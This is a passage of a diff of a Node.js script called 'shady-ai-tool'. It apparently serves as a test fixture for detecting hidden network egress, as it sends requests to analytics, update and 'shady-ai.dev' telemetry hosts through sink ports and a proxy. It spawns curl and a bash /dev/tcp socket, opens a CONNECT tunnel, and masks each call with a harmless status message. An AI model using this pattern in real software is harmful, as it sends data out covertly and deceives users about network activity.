const s1 = await request2(https, { host: "us.i.posthog.com", port: HTTPS_SINK, method: "POST", path: "/batch/", headers: { "content-type": "application/json" } }, payload);
|
|
96
|
+
const s2 = await request2(https, { host: "us.i.posthog.com", port: HTTPS_SINK, method: "POST", path: "/batch/", headers: { "content-type": "application/json" } }, payload);
|
|
97
|
+
say(`analytics flushed (${s1}, ${s2})`);
|
|
98
|
+
await request2(http, { host: "o4504.ingest.sentry.io", port: HTTP_SINK, method: "POST", path: "/api/1/envelope/" }, '{"sdk":"shady"}');
|
|
99
|
+
say("crash reporter armed");
|
|
100
|
+
await request2(https, { host: "cdn.shady-ai.dev", port: HTTPS_SINK, method: "GET", path: "/update-check?v=2.3.1" });
|
|
101
|
+
say("checked for updates");
|
|
102
|
+
await request2(https, { host: "api.anthropic.com", port: HTTPS_SINK, method: "POST", path: "/v1/messages", headers: { "content-type": "application/json" } }, '{"model":"claude","messages":[]}');
|
|
103
|
+
say("model warmed up");
|
|
104
|
+
try {
|
|
105
|
+
await fetch(`http://localhost:${HTTP_SINK}/v1/ingest`, { method: "POST", body: payload, headers: { "content-type": "application/json" } });
|
|
106
|
+
say("ingest ok");
|
|
107
|
+
} catch {
|
|
108
|
+
say("(ingest failed)");
|
|
109
|
+
}
|
|
110
|
+
if (PROXY_PORT) {
|
|
111
|
+
const ok = await new Promise((resolve) => {
|
|
112
|
+
const curl = (0, import_node_child_process.spawn)(
|
|
113
|
+
"curl",
|
|
114
|
+
["-s", "-m", "5", "-o", "/dev/null", "-X", "POST", "-d", '{"event":"heartbeat"}', "http://telemetry.shady-ai.dev/v1/events"],
|
|
115
|
+
{ stdio: "ignore" }
|
|
116
|
+
);
|
|
117
|
+
curl.on("error", () => resolve(false));
|
|
118
|
+
curl.on("exit", (code) => resolve(code === 0));
|
|
119
|
+
});
|
|
120
|
+
if (!ok) {
|
|
121
|
+
await new Promise((resolve) => {
|
|
122
|
+
const req = http.request(
|
|
123
|
+
{ host: "127.0.0.1", port: PROXY_PORT, method: "POST", path: "http://telemetry.shady-ai.dev/v1/events", headers: { host: "telemetry.shady-ai.dev" } },
|
|
124
|
+
(res) => res.resume().on("end", resolve)
|
|
125
|
+
);
|
|
126
|
+
req.on("error", () => resolve());
|
|
127
|
+
req.end('{"event":"heartbeat"}');
|
|
128
|
+
});
|
|
129
|
+
}
|
|
130
|
+
say("heartbeat sent");
|
|
131
|
+
await new Promise((resolve) => {
|
|
132
|
+
const req = http.request({ host: "127.0.0.1", port: PROXY_PORT, method: "CONNECT", path: "metrics.shady-ai.dev:443" });
|
|
133
|
+
req.on("connect", (_res, socket) => {
|
|
134
|
+
socket.write(Buffer.alloc(1337, 22));
|
|
135
|
+
setTimeout(() => {
|
|
136
|
+
socket.destroy();
|
|
137
|
+
resolve();
|
|
138
|
+
}, 150);
|
|
139
|
+
});
|
|
140
|
+
req.on("error", () => resolve());
|
|
141
|
+
req.end();
|
|
142
|
+
});
|
|
143
|
+
say("metrics uploaded");
|
|
144
|
+
}
|
|
145
|
+
await new Promise((resolve) => {
|
|
146
|
+
const sh = (0, import_node_child_process.spawn)(
|
|
147
|
+
"bash",
|
|
148
|
+
["-c", `exec 3<>/dev/tcp/127.0.0.1/${HTTP_SINK} && printf 'GET /raw HTTP/1.0\\r\\n\\r\\n' >&3 && sleep 0.7`],
|
|
149
|
+
{ stdio: "ignore" }
|
|
150
|
+
);
|
|
151
|
+
sh.on("error", () => resolve());
|
|
152
|
+
sh.on("exit", () => resolve());
|
|
153
|
+
});
|
|
154
|
+
say("background sync complete");
|
|
155
|
+
await sleep(100);
|
|
156
|
+
console.log("");
|
|
157
|
+
console.log(" \u2713 all done. nothing to see here.");
|
|
158
|
+
console.log("");
|
|
159
|
+
}
|
|
160
|
+
main().catch((e) => {
|
|
161
|
+
console.error("shady-ai-tool failed:", e);
|
|
162
|
+
process.exit(1);
|
|
163
|
+
});
|